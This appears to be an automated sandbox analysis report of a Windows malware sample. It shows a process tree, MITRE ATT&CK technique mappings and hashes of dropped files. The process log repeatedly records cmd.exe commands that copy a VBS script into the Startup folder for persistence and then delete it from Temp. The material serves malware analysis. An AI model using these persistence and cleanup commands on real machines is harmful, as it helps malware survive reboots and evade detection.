    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4908
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:808
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:2512
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:3672
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:1748
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:1864
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:3660
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:560
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4144
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:436
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:3320
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:2800
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:1260
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:600
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:4008
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:3012
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:5716
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    PID:5228
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:5736
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:1852
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:3228
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:2500
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    PID:1528
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:5200
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:5204
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:5004
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:1628
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:2172
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:6060
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:1168
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:5976
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:1564
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:3048
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      Runs ping.exe
      PID:6124
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:6104
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:1744
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:5588
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    PID:4508
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:5620
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:5252
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:6088
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:6136
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:6108
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      Runs ping.exe
      PID:2276
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:3960
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:3248
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:1028
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    PID:1256
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      Runs ping.exe
      PID:4056
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:3404
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:684
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:3612
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    PID:2708
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:5240
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:556
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:2132
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:2844
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    PID:4868
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4928
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:4296
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:5728
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:5060
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:2432
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      Runs ping.exe
      PID:660
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:2716
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:2364
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:808
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    PID:864
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:3980
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:1068
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:5156
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:5448
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    PID:5284
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:3904
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:2800
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:1108
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:1076
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    PID:3888
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:3064
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:2148
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:3196
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4912
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    PID:5080
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:1732
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:4580
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:4776
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:2356
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    PID:4268
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:5720
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:4552
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs"
    3⤵
    PID:2700
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4832
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:2868
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\c7b6ded7b142172f1e748b541c1c7d3be757384d80f6f80cb4580700019f7614.vbs
      4⤵
      Runs ping.exe
      PID:5656

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Remote System Discovery

T1018

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

server.txt

Path C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\server.txt
Size 463B
SHA256 195a932730368ed1468830ccd7f76d5b121dcc622c10b4d6a53e8f247bd1b2c3
MD5 4863e5989a2111d76f5b7a5091c95cf0
SHA1 11f45cbd085eba03cfc51de880ca99fef4b2c377
SHA512 98576f532682233ad5a80f6924280ca733277a85f50df03111e5c20da0da8408de3f0e089b497b7c6292024abe3bf8277512140babab203b816b2a2749aac98d
TLSH
T1C5F05C7A700B9A4F042604E1515BCD48D2A4C65073BA7CF2A0EACE05F763044DAF0751
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 61KB
SHA256 d2798df470a71073e616ff54e7db24c40635f07c15fdacc463c3e8c931e1a341
MD5 aaed13863ab38600c24e5ed7f18f0a28
SHA1 9ca5a8ead7bc29f4af3c7b52ae55df020443370b
SHA512 3d3cc08572a2db6e30dd0501ce19595f920ff1cfdd4611680665bceae3aac8e7c228b593ba067c0fd53986115d4ca80340bb434d3dc91bf7ad3e773580e1a2f1
SSDEEP 1536:KflJd+h4iUxTYkzvHgfKQaUpeE711kDa5ljNC+jH0IMjMXYo3BV3CNBQkj2zMrxM:KflJd+qiUTYkzvHgfKQaUpeE711kDa5L
TLSH
T1B9538392E9204E75E2E65F3EF15622627D30394690F8113211DC25EFA9879930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_zydfjfq1.5jc.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zydfjfq1.5jc.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

mbddh.txt

Path C:\Users\Public\mbddh.txt
Size 2.1MB
SHA256 184e1a7e02f6cbd26cde371e45816ed0ed85c74dd062cdfb3b2588f8dda74301
MD5 71494b2eaa581e5628eb4a8b00b7ebae
